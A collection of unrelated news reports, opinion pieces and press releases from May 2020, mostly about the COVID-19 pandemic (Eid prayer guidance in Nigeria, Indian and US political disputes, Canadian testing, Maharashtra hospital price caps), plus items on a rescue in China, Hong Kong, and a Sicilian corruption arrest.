Meanwhile, the Jamaatu Nasril Islam (JNI) has urged Nigerian Muslims to say their Eid prayers at home with their families or alone as the case may be, thereby temporarily suspending congregational Eid-el-Fitri prayer, which Muslims use to mark the end of the Ramadan fast.

The eid is usually observed on open grounds and attended by thousands of Muslims in each community. The JNI said congregational prayer increases the risk of contacting people who might have the virus, especially asymptomatic carriers.

Eid-el-Fitr Prayer can be observed at home with family members or alone in case there isnt anyone with him or her, at home, the JNI said in a statement by its Secretary-General, Khalid Aliyu.

While these aforementioned state governments have chosen to open religious centres, some churches and mosques in Nigeria have begun to connect with their congregation via Facebook, YouTube, zoom, among other internet platforms.

Coronavirus pandemic has come to change many things about how we live our lives, a senior pastor of the Kingsway International Christian Centre, Mathew Ashimolowo, said in his online sermon on Thursday.

Are you ready for the change? he asked rhetorically.
Accusing the opposition of "double speak", the BJP on Friday slammed it as well as Congress president Sonia Gandhi for their criticism of the Narendra Modi government over its handling of the coronavirus crisis, saying they have become "disconnected" from people and "speaking out of frustration".

Senior BJP leader and Union minister Prakash Javadekar alleged the opposition was doing negative when it should have projected a united face in combating COVID-19.

"The opposition is displaying negative It is indulging in hypocrisy and double speak. These parties earlier asked why the lockdown was not being extended and now they are asking why you are doing so," he told reporters.

Non-BJP ruled states like West Bengal first did not use Shramik trains as much as they should have and now the Congress is doing by sending very few buses, he said, in an apparent reference to the opposition party's proposal to send buses to Uttar Pradesh to ferry migrants.

Hitting out at Sonia Gandhi for her criticism of the government' Rs 20 lakh crore economic package, Javadekar said the Centre had earlier given Rs 1.70 lakh crore cash to the poor and has also hiked the MNREGA budget to over Rs 1 lakh crore.

"These parties have become disconnected with people and are speaking out of frustration. People are very much with Prime Minister Narendra Modi whose efforts to combat the coronavirus has drawn accolades from world leaders. The situation in India is much better for a country of its population," he said.

BJP spokesperson G V L Narasimha Rao also hit back at the Congress after Sonia Gandhi slammed the government, claiming that it has abandoned any pretence of being democratic and forgotten the spirit of federalism.

He accused the Congress of playing "cynical" politics over the COVID-19 crisis and said its president Sonia Gandhi and her "family" have "indulged in drama" at the time of a national catastrophe.

The government's Rs 20 lakh crore package and its details have turned to be a "cruel joke" on the country, Gandhi said at a meeting of opposition parties.

Hitting back, the BJP said it is the Congress president and her daughter Priyanka Gandhi Vadra who have "played cruel jokes and cynical politics on migrant workers".

"They did nothing for migrant workers except the mother-daughter duo making some grand announcements. Except indulging in drama and petty politics at a time of national crisis, Sonia and her family did nothing to contribute to nation's united fight against the pandemic," Rao said in a statement.

"Never before have a principal opposition party indulged in such cynical politics and the Congress will pay a political price for playing negative politics," the Rajya Sabha MP claimed.

Congress-ruled state governments have shown utter lack of sensitivity towards the migrants and refused to allow their own citizens to use Shramik special trains, he alleged.

"The whole world is appreciative of our handling of the COVID-19 crisis and the lockdown strategy in controlling the spread of the pandemic in India. Sonia Gandhi is perhaps regretting why India didn't turn out to be like her native Italy," Rao said.

Only today, he noted, a study by the Indian Statistical Institute (ISI) showed how India averted 20 lakh cases and up to 78,000 deaths by imposing the lockdown timely and implementing it effectively.

Every relaxation, like inter-state travel of migrants on Shramik special trains or of bringing home Indians stranded abroad by Vande Bharat evacuation flights, has been allowed with elaborate Standard Operating Procedures (SOPs), to be strictly followed by all state governments, Rao said.

The strategy to exit the lockdown has been designed in a very thoughtful and systematic manner, he added.

The BJP leader said Prime Minister Narendra Modi's leadership in successfully controlling the COVID-19 challenge has been praised by world leaders.

"The Gandhi family is unable to digest the fact that PM Modi has emerged as truly a global leader and his image has surpassed that of every leader from its dynasty," he claimed.

Addressing a meeting of 22 opposition parties convened through video-conferencing to discuss the situation arising out of the coronavirus pandemic, Sonia Gandhi alleged that the government is uncertain about the criteria for enforcing lockdowns and has no exit strategy it.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Words  theyre supposed to be important. Yet this week, Americans were subjected to an unproductive and embarrassing war of words among two septuagenarians and one octogenarian, each with low national approval ratings they have worked hard to earn. And earn them they have, in spectacularly depressing fashion.

Thats about all Washington has to offer right now. Loud, empty, utterly meaningless insults that do little more than widen the red-blue tribal divide.

We dont yet know what causes Covid-19 to infect humans, causing some to become critically ill  and some to die, including nearly 94,000 so far in the United States alone. We dont yet know what might cure it. We also know that words alone wont end the deepening economic crisis which this virus has caused. But we know some might make it worse.

Thanks to the Food and Drug Administration and the Department of Veterans Affairs, we know that hydroxychloroquine  an anti-malaria medication also used to treat ailments like lupus  neither prevents nor cures the disease. But that did not stop Donald Trump from announcing out of the blue this week that hes taking it, in true showmans form.

"I happen to be taking it. I happen to be taking it, Trump told a group of shocked reporters at the White House during a meeting with restaurant executives. All I can tell you is, so far, I feel okay.

Then came a word salad  the kind that is more tossed with brown, wilting iceberg lettuce in a school cafeteria than prepared with fresh mozzarella, caprese-style, in a cafe overlooking the Mediterranean Sea.

It seems to have an impact, Trump continued, before committing his usual unhelpful tendency to vacillate from one assessment to another. Maybe it does, maybe it doesnt.  Youre not going to get sick and die.

Thanks, Dr Trump. Wait. Hes not a physician, which makes his assessment of hydroxychloroquine nothing but mere words. More vapid and confusing words from DC.

Ive gotten a lot of calls from medical professionals praising the drug, the president claimed, ignoring the warnings from his own public health agencies about potentially deadly side effects and one VA study finding the drug had virtually no impact on Covid-19 patients.

I was just waiting to see your eyes light up when I said this, Trump informed the reporters he insists on dueling with, day in and day out. His loyal supporters are so willing to follow his lead that they flooded medical hotlines with questions about whether they should also get a prescription for hydroxychloroquine, as he suggested on 24 April. So some may seek out this unproven treatment, complete with its serious side effects, among them heart problems and psychosis.

More words. Only these could have a real impact on real people. No worry for the president. There were reporters to one-up. Priorities.

Trump likes words. In fact, it seems he loves them. That I-cant-live-without-you love. Since Mark Meadows and Kayleigh McEnany joined his White House team as chief of staff and press secretary, respectively, his once-nightly coronavirus press briefings have been traded for opportunities for the talker-in-chief to spend most of his days talking.

He uttered these words at CBS White House reporter Paula Reid: Just a rude person, you are. She had asked about the location of his plan to safely reopen the country. (Spoiler alert: He doesnt have one, and has no interest in putting one together.)

That prompted some words from Speaker Nancy Pelosi that, frankly, wont stop thousands more Americans from contracting Covid-19 nor help the nearly 40 million who have lost their jobs during the national shutdown.

Pelosi said it was not a great idea for Trump to take hydroxychloroquine because he is morbidly obese. (Fact check: According to his last official weight  239 pounds  federal standards put him only at clinically obese.) But she appeared to reveal her actual motivations the next day, boasting about her insult: I gave him a dose of his own medicine. On Wednesday, the speaker said something about Trump and dog doo in an avoidably crass metaphor Ive given up on trying to understand.

Congratulations, Madame Speaker. Sick (pun very much intended) burn. Feel better?

This correspondent will go out on a limb and say the thousands of Americans dying right now from Covid-19 dont. Nor does the US economy, which was further weakened on Thursday when the Labor Department announced 2.4 million more Americans filed jobless claims last week, bringing the total that have since the pandemic hit to 38 million.

And for the Washington chattering class who praised Pelosi for standing up to the bully because shes a Baltimore girl, let me say this: Just stop it. Youre not helping, either.

Lets go live to Wilmington, Delaware, where former Vice President Joe Biden, the presumptive Democratic presidential nominee, has been riding out the coronavirus outbreak. Trump is out there tweeting again this morning. I call him President Tweety,' Biden said in a video message posted online on Monday.

Great. The former VP is trying to dethrone a sometimes lewd and always uncensored commander-in-chief by comparing him to a harmless Looney Toons cartoon character. Thats just what the country needs amid worries of a second Great Depression.

Washington is addicted to words. They all seem to mean so much. But, in reality, they mean so very little. Medical experts say addiction is a sickness. So, before Washington can truly deal with another one  Covid-19  its dependence on unsatisfying word salads, childish insults and PG-rated nicknames will have to be kicked.

But the patient seems so far gone that this correspondent doubts Washington capable of anything close to a full or even partial recovery. Absent any actual leadership, even darker days seem ahead for the country that once sold itself as a shining light on a hill.
A Chinese worker has been hailed as a hero after climbing across a building's facade without any protection to save a little girl.

The maintenance worker, who has been billed as the real-life' spider-man', rushed to the child's rescue after onlookers noticed her being stranded outside a balcony six-storeys up.

Heart-stopping footage shows the service engineer clinging onto railings before grabbing hold of the terrified youngster and pushing her back to her home.

A brave service engineer in China has been billed as 'spider-man' after he clung to the exterior side of a residential block without any protection to save a young child Thursday morning

The saviour, Hu Yunchuan, was working nearby when he heard about a five-year-old girl being trapped on a building's exterior wall after climbing out of a window by accident.

Mr Hu's company has rewarded him with a brand-new apartment to honour his heroic act.

The extraordinary incident took place on Thursday morning in Zigong, Sichuan province of south-western China.

At the time, Mr Hu saw a crowd of people gathering outside a residential building while he was working at a local community.

He found out that a little girl had been trapped outside a window after she accidentally climbed out of her home on the sixth floor to look for her mother. It is believed that the young child was home alone.

Mr Hu first attempted to force-open the apartment's front door with another resident but to no avail, he later told the local media.

The service engineer then climbed onto the building's facade through the window of the resident living on the floor below.

Heart-stopping footage filmed by a local resident shows the courageous maintenance worker climbing across the frontage of the high-rise block with bare hands to save the terrified child

Mr Hu (pictured right) has been billed as 'spider-man' by Chinese social media users for his brave act after the footage of him saving the young girl on Thursday went viral

A video shows Mr Hu scaling the exterior side of the block with bare hands to save the terrified child while other people spread out a bed sheet preparing to catch the girl if she falls.

Within seconds, the child was successfully rescued by the worker.

Mr Hu was billed as the real-life 'spider-man' by his company, consumer electronics giant Haier.

The firm announced in a social media post today that Mr Hu will be awarded with a brand-new flat worth 600,000 yuan (68,997) for saving the little girl's life.

'We don't like to see dangerous incidents happen. But when society is in need, we hope every Haier person will come forward,' the company wrote.

Mr Hu told Sichuan Observer that the heroic act was sprung by his natural reaction.

'I didn't think about anything at that moment,' the service engineer added. 'It's quite a common thing to do.

'Not just me, a lot of people [would do the same].'
Those Days: an enlightening book on the book of Revelation that proclaims the events of those left behind during the Tribulation and their partaking of Gods wrath to mankind. Those Days is the creation of published author Elizabeth Alberts, a graduate from Phoenix Christian High and a dedicated follower of God.

Alberts shares, Those Days was chosen for my book title because it describes in vivid detail what happens during the days of those left here on earth when the church has been taken to heaven. It will be 2,520 days of Gods increasing wrath poured out on man such as has not been since the beginning of creationand unless the Lord had shortened those days, no flesh would be saved (Mark 13:1920).

Published by Christian Faith Publishing, Elizabeth Albertss new book will illuminate readers on what to expect during the Apocalypse to prepare their souls for Christs return to bring Gods final judgment on humanity.

This book is a testament to Gods magnificence, justness, and zealousness that is soon to overflow and impact mankind through the fulfillment of His judgment at the end of days.

View the synopsis of Those Days on YouTube.

Consumers can purchase Those Days at traditional brick-and-mortar bookstores or online at Amazon.com, Apple iTunes store, or Barnes and Noble.

For additional information or inquiries about Those Days, contact the Christian Faith Publishing media department at 866-554-0919.
Norma McCorvey was the "Roe" in Roe v. Wade, the case that found the emanations and penumbras that made abortion a constitutional right. She was a sad woman. When she was 13, her father abandoned the family, and her mother, a violent alcoholic, raised McCorvey and her older brother.

By age 11, McCorvey had ended up in a State School for Girls. At 15, when she left the school, a relative raped her repeatedly. By 1969, McCorvey had been married, divorced, had two children, developed a serious alcohol and drug problem, and become a lesbian. This was the troubled woman who, when she became pregnant with her third child, moved to the center of the American abortion debate. McCorvey eventually worked at an abortion facility.

In 1995, McCorvey publicly converted to Evangelical Christianity, quit the abortion facility, and announced that she was henceforth working with Operation Rescue, an anti-abortion organization. Eventually, McCorvey converted to Catholicism. She continued to work against abortion for the rest of her life, which ended in 2017, after a serious decline from heart failure.

The Daily Beast wrote the other day that a new documentary, AKA Jane Roe, shows footage of McCorvey purportedly confessing that her anti-abortion stance was "all an act" that she did for money. "I was the big fish. I think it was a mutual thing. I took their money and they'd put me out in front of the cameras and tell me what to say. That's what I'd say. If a young woman wants to have an abortion, that's no skin off my ass. That's why they call it choice."

Matt Walsh discusses why there's reason to be skeptical about both McCorvey's purported confession, as well as statements from those supporting her. Tyler O'Neil believes that the documentary-makers may have lied to or manipulated the ailing McCorvey.

This post will not rehash those issues. Instead, this post looks at Laura Bassett's GQ article arguing that the anti-abortion position has always been a right-wing Christian attack on blacks. The article made headlines on Thursday because Bassett tried to support her argument by claiming that segregationist George Wallace was a Republican. It was a stupid error (since corrected) and typical of a leftist journalist. That's not what this post is about, either.

This post targets Bassett's bizarre leftist narrative that being pro-life means you're such a racist Christian that you want black babies not to die. According to Bassett, conservative racists were pro-abortion up until Roe v. Wade. They switched sides then because the moral majority used abortion as a way to entice pro-life (but still racist) Christians to become Republicans.

Margaret Sanger, who founded Planned Parenthood, is the saintly godmother of abortion in America. Sanger, a race- and sex-obsessed socialist, was a member in good standing of the early 20th-century American progressive movement, a Democrat socialist movement that is the direct ancestor of today's Democrat progressives. She was at home with the progressives of the era, who were also obsessed with racial purity, so much so that Hitler looked to American racial laws as his template for Germany's racial laws.

While Sanger did believe in freeing women from the burden of pregnancy, she was fully on board with race-based eugenics:

Sanger associated with racists and anti-Semites, people who despised everyone who was not a Nordic god or goddess, and those who demanded coercive eugenics programs to eliminate "lesser" humans. [snip] Margaret Sanger's journal was primarily devoted to the legalization and spread of voluntary birth control. However, the main theme running through The Birth Control Review was eugenics, thus the masthead "Birth Control: To Create a Race of Thoroughbreds." One of the most enthusiastic supporters of eugenics in the pages of The Birth Control Review was Professor Doktor Ernst Rudin, Adolf Hitler's Director of Genetic Sterilization and founder of the Nazi Gesellschaft fur Rassenhygiene [Society for Racial Hygiene]. [Citation omitted.] In fact, Rudin's boss, Adolf Hitler, avidly read American eugenics journals and developed his ideas of an Aryan "master race" from their writers.

It's no coincidence that Planned Parenthood facilities are most common in black communities. PP supporters would say that's because they go where the need is greatest; PP opponents argue that PP is targeting vulnerable populations. Regardless of motives, for years now, more black babies are aborted in New York than are born alive. It takes a twisted, ignorant mind to argue that the people who oppose this racial slaughter are themselves racists.

Even if one assumes solely for the sake of argument that McCorvey, a deeply troubled woman suffered a deathbed conversion back to her pro-abortion past, everything else in Bassett's article is wrong. Today's pro-abortion leftists are the lineal descendants of Margaret Sanger and her fellow eugenicists, all of whom dream of a world without the "nasty" (and invariably dark skinned) underclass that makes their lives imperfect and uncomfortable.
WASHINGTON, May 22, 2020 /PRNewswire/ -- NASA's Science Mission Directorate will hold a community town hall meeting via teleconference with Associate Administrator for Science Thomas Zurbuchen and his leadership team at 3 p.m. EDT Thursday, May 28, to discuss updates in NASA's science program and the current status of NASA activities.

Members of the science community, academia, the media and the public are invited to participate by calling 888-989-9718. International participants should call 312-470-7045. Both numbers will use the passcode 8137047. Participants must provide their name at the prompt. A replay of the call will be available for one month at 203-369-3252. Charts for the meeting will be posted just prior to the start of the meeting and an audio recording will be available later that day at:

https://science.nasa.gov

To ask a question, participants can go to:

https://arc.cnf.io/sessions/ykc8/#!/dashboard

Users must provide their first and last name and organization, and can submit their own questions or vote up or down a list of questions submitted by others. The meeting leaders will try to answer as many of the submitted questions as possible.

For more about NASA science, visit:

https://science.nasa.gov

SOURCE NASA

Related Links

http://www.nasa.gov


Canada must ramp up its efforts to test residents for COVID-19 and trace anyone who may have come into contact with the virus, Prime Minister Justin Trudeau said Friday as he urged provinces to seek federal help with the process if needed.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

Prime Minister Justin Trudeau holds a press conference at Rideau Cottage amid the COVID-19 pandemic in Ottawa on Thursday, May 21, 2020. THE CANADIAN PRESS/Sean Kilpatrick

Canada must ramp up its efforts to test residents for COVID-19 and trace anyone who may have come into contact with the virus, Prime Minister Justin Trudeau said Friday as he urged provinces to seek federal help with the process if needed.

The call for action came as the number of new cases continued to increase in Ontario  one of the provinces hardest-hit by the virus. Economic recovery efforts, meanwhile, forged ahead in Quebec and New Brunswick while Alberta announced regional public health restrictions would be easing imminently.

Trudeau offered few specifics when announcing measures to support national testing and contact-tracing efforts, but said such measures would be essential to control the pandemic now and in the future.

"Taking strong, collaborative action to expand testing and contact tracing is important for both Canadians and businesses to have confidence that we're on the right foot," Trudeau said at his daily news conference. "They need to know that we have a co-ordinated approach to gradually reopen that is rooted in evidence, science and the ability to rapidly detect and control any future outbreaks."

Trudeau said the government hopes to recommend a smartphone app next month that could play a part in the contact tracing effort, noting similar efforts in countries such as Singapore and South Korea have been successful to date.

Prime Minister Justin Trudeau returns to Rideau Cottage following a daily news conference in Ottawa, Friday May 22, 2020. THE CANADIAN PRESS/Adrian Wyld

Ottawa is helping procure swabs and other key testing materials, he said, and is also able to provide thousands of staff to help make contact-tracing calls.

Trudeau noted some of those resources are already being deployed in Ontario, where testing has re-emerged as an issue amid stubbornly static COVID-19 case data.

Ministry of Health data show the province currently has capacity to conduct 21,000 tests a day  about twice the number conducted in recent days. Ontario's growth rate of new cases, meanwhile, has hovered between 1.5 and 1.9 per cent for 12 of the last 13 days, including Friday when the number of cases climbed 1.8 per cent over the previous day.

The national picture is similar, with provinces and territories collectively testing less than half of the roughly 60,000 people the country's chief public health officer has said should be the daily target.

Ontario Premier Doug Ford said Friday that the province will concentrate on testing front-line workers over the weekend, with plans to roll out an advertising blitz in the coming weeks urging anyone showing COVID-19 symptoms to get tested.

"I drive by one of the assessment centres into work every morning and there's just no lineup," he said. "Please, go out and get tested. It's absolutely critical."

New Brunswick, meanwhile, moved into the next phase of its economic revival on Friday by allowing hair stylists, tattoo parlours and other "close-contact" businesses to reopen their doors.

Premier Blaine Higgs also said residents could begin expanding their immediate social "bubbles."

"You can now spend time with close friends and family members who you would normally see on a regular basis," Higgs said. "We are asking you to keep your circle of friends and family as small and reasonable as possible, especially if you have a vulnerable person in your family, or a child who attends daycare."

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Quebecers were also given permission to expand their immediate circles on Friday, with the province's top public health officials saying residents could start convening in groups of no more than 10 people from a maximum of three households.

Quebec, which has the most COVID-19 cases and deaths of any province, also plans to allow museums, libraries and drive-in movie theatres to open in a limited capacity starting next week. Deputy Premier Genevieve Gilbault also emphasized the need for ongoing testing as the province continues to fall short of its daily goal of 14,000.

In Alberta, meanwhile, Premier Jason Kenney said the hard-hit cities of Calgary and Brooks would soon be joining the rest of the province in reopening large swaths of their economies.

But more grim economic news continued to trickle in Friday, with national data showing retail sales plunged 10 per cent in March, when widespread physical distancing measures first took effect. Statistics Canada said preliminary data indicate the decline will be even steeper in April.

Canada has reported more than 82,000 cases of COVID-19, including just over 6,200 deaths.

This report by The Canadian Press was first published May 22, 2020.
The Uddhav Thackeray government on Thursday night acquired 80 percent of beds across all private hospitals and nursing homes in the state till August 31 this year as Maharashtra stares at the 41,642 COVID-19 cases, accounting for a third of all cases in India. The Maharashtra government has also capped the prices of treatments that can be billed to patients and will now regulate the usage of private hospital bed capacity.

The order, which came into force under the Epidemic Diseases Act, was passed following days of negotiation with private hospitals. The hospitals can, however, charge their own rates in the remaining 20 percent beds. The move will expand the bed capacity while also address the issue of exorbitant prices charged by the private hospitals on patients who do not have medical insurance.

The order covers hospitals run by charitable trusts, including all the big Mumbai hospitals such as H N Reliance, Lilavati, Breach Candy, Jaslok, Bombay Hospital, Bhatia, Wockhardt, Nanavati, Fortis, L H Hiranandani and P D Hinduja among others.

The governments notification directs private hospitals in Maharashtra to increase the number of operational beds in order to accommodate the maximum number of patients for both COVID-19 and non-COVID-19 patients. The move will open up around 4,400 hospital beds in the private sector in Mumbai alone.

Under the government's latest move, routine ward and isolation bed rates have been capped at Rs 4,000. For ICU beds without ventilators, rates have been fixed at Rs 7,500 per day while an ICU bed with ventilator support will be billed at Rs 9,000. The government also capped package rates of nearly 270 procedures and surgeries, including cancer treatments.

Further, the cost for an angiography procedure has been capped at Rs 12,000 and an angioplasty will be charged maximum Rs 1.2 lakh. A normal delivery at a private hospital cannot charged more than Rs 75,000 while delivery through a basic caesarean section has been capped at Rs 86,250.

The revised prices are applicable for patients who do not have medical insurance and those who have exhausted their medical insurance cover and healthcare providers in Mumbai, Pune, Navi Mumbai, Panvel and Thane, who have agreements with insurance companies, cannot charge more than the lowest bed category rates agreed.

The order said that the government and civic bodies will also refer patients for admission under the regulated portion of hospitals' capacity for both COVID and non-COVID treatments.

Mumbai is currently struggling with a severe shortage of beds to treat critically ill COVID-19 patients.

The package rates fixed by the government will be an all-inclusive rate including doctors fees, OT charges, room rent, investigations, implants, drugs among other charges. PPE costs are not included in the package rate. High-end drugs being tried in COVID-19 treatment, like Meropenem, immunoglobulin, Tocilizumab, etc have to be charged at MRP.

Hospitals also cannot charge more than 10 percent mark-up on the net procurement cost of items and services such as medical implants, lenses, pacemakers, prosthesis, PPE kits etc, which do not fall part of GIPSA-PPN or insurance package rates.

High end tests such as CT, MRI scans, Radiation, Stress test, Liver profile, among others will be charged as on actuals based on tariff as on December 31, 2019. Blood and blood products charges are also not capped.

Most private hospitals, though unhappy, say they will have to follow the orders despite incurring losses under the prescribed rates.

While an April 30 order had fixed rates for COVID and non-COVID treatments based on the lowest rates as per agreements with insurance companies, many patients complained of inflated bills from private hospitals.

Recently, Mumbai-based Nanavati Hospital came under fire after it billed Rs 16 lakh for a 15-day treatment of a COVID-19 patient. The patient later died.

The hospital was also accused of charging patients Rs 8,000-9,800 for a PPE unit, almost 10 times the procurement price.
Infrastructure consultancy and engineering company RITES on Friday said it has signed an agreement for acquiring 24 per cent stake in Indian Railway Stations Development Corporation (IRSDC) for Rs 48 crore.

The company has signed shareholders' agreement for acquiring 24 per cent stake in IRSDC for Rs 48 crore with Rail Land Development Authority and IRCON International being the other equity partners, the company said in a statement.

The company further said that it has resumed operations at most of its offices and project sites after the coronavirus-induced lockdown restrictions were eased.

The Miniratna public sector enterprise said that during this lockdown period, apart from concluding negotiations for a major export deal with CFM Mozambique enhanced to Rs 700 crore on account of increase in quantity, it has been able to successfully deliver the 188 RKM Vijaypur-Pachore Road-Maksi section railway electrification project in Madhya Pradesh.

Prime Minister Narendra Modi imposed a nationwide lockdown to control the spread of coronavirus on March 25. It has been extended thrice, with the fourth phase set to expire on May 31.

"During the lockdown RITES continued to focus on key business deals like exports to Africa, signing of IRSDC shareholders' agreement etc and now we have hit the ground running as we resume most of our operations within the guidelines issued by the government," RITES Ltd Chairman & Managing Director Rajeev Mehrotra said.

The company has resumed business activities adhering to necessary safety protocols and has implemented a Standard Operating Procedure (SOP) to guide its employees about precautions and safety measures at work, he said.

It added besides its corporate office in Gurugram, project offices at Ahmedabad, Bhubaneswar, Secunderabad and inspection offices at Bhilai, Delhi and Chennai have also started operations.

Key project activities have been resumed at various sites like rail line doubling project at Gooty-Dharmavaram, railway electrification work in Rajasthan, Project Monitoring Services at several rail connectivity works of power plants and coal mines, workshops modernization at Bikaner in Rajasthan, Kurdawadi in Maharashtra, Lumding in Assam, Sarla in Odisha, Quality Assurance work at various locations etc.

With these operations, RITES is estimated to have achieved more than half of its capacity and will scale up its activities with easing of more restrictions, it said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
In the recently organized virtual meeting of Organization of Islamic Cooperation (OIC), Maldives defended India by saying that signalling out India over Islamophobia is incorrect when Pakistan tried to raise the issue of minority and Islamophobia in India. The reply came after Pakistans Ambassador to the UN, Munir Akram proposed that India is actively promoting Islamophobic agenda in the meeting.

Giving befitting reply to Pakistan, Maldives said that India is the largest democracy in the world and home to over 200 million Muslims, alleging Islamophobia would be factually incorrect and detrimental to religious harmony in South Asia.

Maldives also said that on the basis of social media it should not be constructed as representative of the feeling of 1.3 Million people.

The Maldives further stressed that in recent years, India has built up stronger ties with many Islamic nations such as Saudi Arabia, UAE, Afghanistan, Palestine, Mauritius. These countries have conferred the Indian Prime Minister Narendra Modi with their highest civilian awards. Maldives also said that South Asian Countries should find ways for working together.

As close and friendly neighbours, India and Maldives share cordial and multi-dimensional relations and have attended several important events of each other country. India was among the first to recognize Maldives after its independence in 1965 and to establish diplomatic relations with the country.

After taking over as the Prime Minister for his second term, PM Narendra Modi choose Maldives for his first country visit last year. There have been a number of high-level visits between the two countries since the new government under President Solih took over in November 2018.

PM Modi was also present during the swearing-in ceremony of President Solih in November 2018, followed by visits of Maldivian Foreign minister Abdulla Shahid and President Solih had that year itself.

The Maldives is a key country in the Indian Ocean region and lies in the heart of busy shipping lanes connecting Africa with Asia.
As more restless Americans call for states to reopen, "herd immunity" has been tossed out as a purpose for less regulation. But the state's top health official on Wednesday said that for herd immunity to even be effective in Colorado, 70% of the population would have to get sick and more would die.

"We're really still at the beginning of this epidemic," said Jill Hunsaker Ryan, executive director of the Colorado Department of Health and Environment.

The Colorado School of Public Health estimated that 2.9% of Coloradans, or 167,000 people, have had COVID-19.

Regulations are slowly being lifted in various communities. The CDPHE has approved the reduction of restrictions for 14 different communities, but people must continue social distancing and mask wearing to ensure the state will not resort to another stay-at-home declaration.

Coloradans' sacrifices have helped flatten the curve, Ryan said, but "we are not out of the woods."

With Memorial Day weekend approaching, local enforcement will continue to monitor whether people are following official guidelines.

Ryan, joined by Scott Bookman, COVID-19 incident commander, and Rachel Herlihy, state epidemiologist, said that CDPHE has the following goals for the state:

Slow down spread of the virus so they don't exceed hospital capacity or run out of beds or ventilators

Get kids back to school in the fall

Prevent a second wave, particularly during peak flu season from November through March.

Prevent a second Stay at Home order

Enable local decision-making on restrictions

The good news is that the curve has bent, Herlihy said, but that still reveals how fast the disease spreads. Bookman said that swab supply chain options have expanded, and new kits from the federal government include materials for 96,000 tests.

Herlihy said CDPHE is providing funding to local public health agencies for workforce enhancements and has recruited 50 public health students to work with CDPHE staff on investigations and contact tracing. AmeriCorps staff also has been a "backbone" to providing contact tracing at a larger scale, she said.

CDPHE leads multi-jurisdictional and state facility outbreak investigations, she said. Otherwise, for residential and corrections facilities, the CDPHE provides guidance for prevention, reporting and response through its team of experts.

Herlihy said that outbreaks in nursing homes have dropped, but did not comment on an outbreak at the nursing home in Broomfield that may be linked to the National Guard, which Colorado Politics reported on last week.
WASHINGTON - Secretary of State Mike Pompeo on Friday condemned Chinas effort to take over national security legislation in Hong Kong, calling it a death knell for the high degree of autonomy that Beijing had promised the territory.

Pompeo called for Beiing to reconsider the move and warned of an unspecified U.S. response if it proceeds. Meanwhile, White House economic adviser Kevin Hassett said China risked a major flight of capital from Hong Kong that would end the territorys status as the financial hub of Asia. Shortly afterward, the Commerce Department announced new restrictions on sensitive exports to China.

The contentious measure, submitted Friday on the opening day of Chinas national legislative session, is strongly opposed by pro-democracy lawmakers in semi-autonomous Hong Kong.

Pompeo called the proposal an effort to unilaterally and arbitrarily impose national security legislation on Hong Kong.

Hong Kong has flourished as a bastion of liberty. The United States strongly urges Beijing to reconsider its disastrous proposal, abide by its international obligations, and respect Hong Kongs high degree of autonomy, democratic institutions, and civil liberties, which are key to preserving its special status under U.S. law, Pompeo said in a statement.

He said the decision to ignore the will of the people of Hong Kong would be a death knell for the high degree of autonomy Beijing promised for Hong Kong under a decades-old agreement known as the Sino-British Joint Declaration.

The U.S. has limited leverage with China over Hong Kong but it could end preferred economic privileges that Hong Kong currently enjoys if the Trump administration determines that the declaration, which was supposed to give the territory 50 years of special status after it reverted to Chinese rule in 1997, has been violated.

The proposed bill is aimed at forbidding secessionist and subversive activity, as well as foreign interference and terrorism. It comes after months of pro-democracy demonstrations last year that at times descended into violence between police and protesters.

Speaking in an interview with the Fox Business Network on Friday, Hassett suggested the damage that would come from Chinas proposal would be mostly self-inflicted.

Theyre going to see a lot of economic harm from what theyre doing, he said, adding that businesses would not want to invest or keep money in a place where theyre basically sneering at the rule of law.

And so, I would expect that theyre going to have serious capital flight problems, Hassett said. And Hong Kong, if they follow through this, will no longer be the financial centre of Asia, and they themselves will bear very, very heavy costs.

Later Friday the Commerce Department struck yet another blow to Chinese industry, announcing plans to bar the export of U.S. technology without a license to 33 companies and government institutions including major research labs.

It accused two dozen of the targeted entities of threatening U.S. national security because they could help China develop weapons. They include Chinas top cybersecurity company, Qihoo 360, the robotics and artificial intelligence firm Cloudminds Inc., and various research isntitutes involved in laser and other advanced technology.

The other targets, named in a separate news release, included the Institute of Forensic Science at Chinas public security ministry and companies that make facial recognition products. Commerce accused them of complicity in human rights abuses targeting Uighurs and other ethnic minorities.

The restrictions compound previous sanctions the Trump administration imposed on U.S. technology sales to Chinese companies involved in supercomputer development, facial recognition and other areas the White House deemed a threat to national security. That includes the technology giant Huawei.

A week ago, Commerce issued a new rule designed to bar foreign semiconductor makers from making chips for Huawei that it has designed.

China contends Washington is using national security as an excuse to try to crush its rise as a global competitor in the tech sector.

Tech expert Paul Triolo of the Eurasia Group political risk research firm said it appeared from the list of new targets that the Commerce Department was applying a rather sweeping definition of military end-use.

Its ratcheting up the pressure, Triolo said of the newest sanctions. I keep thinking, Whats the straw that breaks the camels back here and provokes retaliation from Beijing against U.S. companies that do business in China.

China has threatened countermeasures against U.S. businesses  many of which have major manufactoring operations in its territories but so far has held off.



This version of the story corrects that Paul Triolo of the Eurasia Group is a tech expert.

-

Associated Press writer Frank Bajak in Boston contributed to this report,
The head of Sicily's coronavirus efforts has been arrested on suspicion corruption in a past role, police have said.

Antonino Candela has been placed under house arrest after he was also accused of rigging health sector tenders during a previous job.

Nine others were arrested along with Sicily's coronavirus emergency coordinator, police said.

Mr Candela was allegedly part of a "power base made up of businessmen and corrupt public officials", the police statement said, referring to activity before he became head of the region's Covid-19 response unit.

He was among those responsible for helping to rig public tenders for medical equipment and services worth nearly 600m (536m) since 2016, in return for promised bribes of around 1.8m (1.6m), authorities alleged.

Mr Candela was director of a provincial health authority in the Sicilian capital of Palermo, which issued the tenders along with a regional agency.

"This is an absolutely alarming and disheartening picture of the level of illegality in the Sicilian health system, where systemic corruption has allowed very large illicit profits," the magistrates' arrest warrant said.

The police also seized seven companies based in Sicily and in the northern region of Lombardy, as well as some 160,000 (143,000) in bribes allegedly already paid.

"Those who steal public money, if the allegations are confirmed, do not deserve the esteem of so many honest people. Everyone must know that healthcare is not a business," Sicily's regional president Nello Musumeci wrote on Facebook.

Mr Candela was not immediately available for comment.

Italy has suffered one of the world's worst outbreaks of the coronavirus, with more than 32,000 deaths, but Sicily has escaped relatively unscathed along with other southern regions.

Around 3,400 people have tested positive for Covid-19 in the region in total, according to official figures.

Sicily's coronavirus death toll stood 268 on Friday.

Additional reporting by Reuters
